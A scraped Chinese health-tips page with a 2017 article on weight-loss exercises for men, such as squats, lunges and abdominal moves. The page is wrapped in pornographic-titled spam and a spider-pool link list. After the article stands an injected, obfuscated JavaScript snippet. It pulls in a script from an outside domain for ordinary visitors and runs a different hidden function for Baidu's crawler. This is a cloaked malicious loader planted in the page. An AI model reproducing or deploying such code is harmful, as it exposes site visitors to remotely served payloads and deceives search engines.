久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 減肥方法 > 正文

男人怎樣可以減肥呢

2017-01-15 20:51:19  來源:360常識網   熱度:
導語:男人如果身材比較胖,不管長的再帥,也會讓人認為是一個胖子,除非自己的肌肉很明顯,那樣的話才看上去特別的壯實,有男人味,沒有肌肉的話

男人如果身材比較胖,不管長的再帥,也會讓人認為是一個胖子,除非自己的肌肉很明顯,那樣的話才看上去特別的壯實,有男人味,沒有肌肉的話,只會讓人覺得都是虛胖。如果男人胖了的話,該怎么進行減肥呢,我們一直通過下面的文章來了解一下男人怎樣可以減肥的吧。

1、深蹲。男人把雙手叉在腰上,然后保持上身的豎直不動,然后用彎膝蓋的方法,慢慢地把身體向下壓,做成一個蹲著的姿勢,再慢慢地恢復原狀,這樣的動作,堅持一次做二十組。

2、站立,一只胳膊抬起,然后與你的肩平直,另一只胳膊圍著你的身體打圈,轉十圈后,換成另一只胳膊,這樣的方法,也是可以持續重復十次,一個胳膊十次,然后換成另一個。一共也做二十組。

3、把雙手叉在腰間,用力吸氣,把肚子吸扁扁的,然后憋氣十秒鐘,再慢慢地吸氣,把肚子鼓起來。要記得,在吸氣的時候,要大力,一直保持其無法在吸的時候,才是最好的。

4、一條腿自然向前打弓,另一只腿向后,把雙手壓在打弓的這條腿上,就如同平時講到的壓腿的動作,這樣,慢慢地向下,一個動作重復做二十組,一天能做三組最好。

5、兩只胳膊與身體保持和諧,然后以投籃球的姿勢那樣,起跳,投球,然后落下,這樣的動作,也可以達到減肥的目的,這個動作一天要堅持做多次,以你的身體的承受為準。

6、躺在床上,然后把兩手壓在頭下,兩條腿開始向上屈,如果可以,盡量可以壓到自己的腹部,這樣,慢慢地讓自己的腰收緊,有一定的壓迫感,這個動作,也可以根據你的承受力做,直到你的腰有發酸為好。

以上就是男人怎樣可以減肥呢詳細的說明與介紹。其實男人想要減肥還有很多種方法,列如引體向上或者仰臥起坐。這些運動雖然都很難,可是確實可以減肥。在平時沒什么事干的時候,可以試著練習一下,即使不能減肥,也可以使身體更加健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产激情精品视频 | 中文字幕在线看片 | 欧美一区二区三区 | 国产a免费| 亚洲网在线 | 国产精品一区免费在线观看 | 亚洲国产欧美一区二区三区久久 | av片在线免费观看 | avhd101在线成人播放 | 九九精品视频在线 | 亚洲第一av | 国产精品久久久久久久久久久久久久 | 不卡的av在线播放 | 97干色| 久久免费视频网 | 青娱乐久久 | 国产区在线 | 在线 丝袜 欧美 日韩 制服 | 国产一区二区三区 | www.日本三级 | 日本久久精品电影 | 不卡av免费在线观看 | 中文字幕一区二区三区在线视频 | 亚洲国产成人久久综合一区,久久久国产99 | 欧美视频一区二区三区在线观看 | 天堂久久一区 | 欧美视频一区二区 | 一区在线看 | 少妇久久久久 | 欧美日韩精品一区二区 | 精品久| 国产中文字幕在线观看 | aaa日本高清在线播放免费观看 | 日本黄色精品 | 国产精品18 | 国产精品第一国产精品 | 国产亚洲精品久久久456 | 欧美日韩国语 | 欧美区国产区 | 四虎黄色网 | 日韩av免费在线观看 |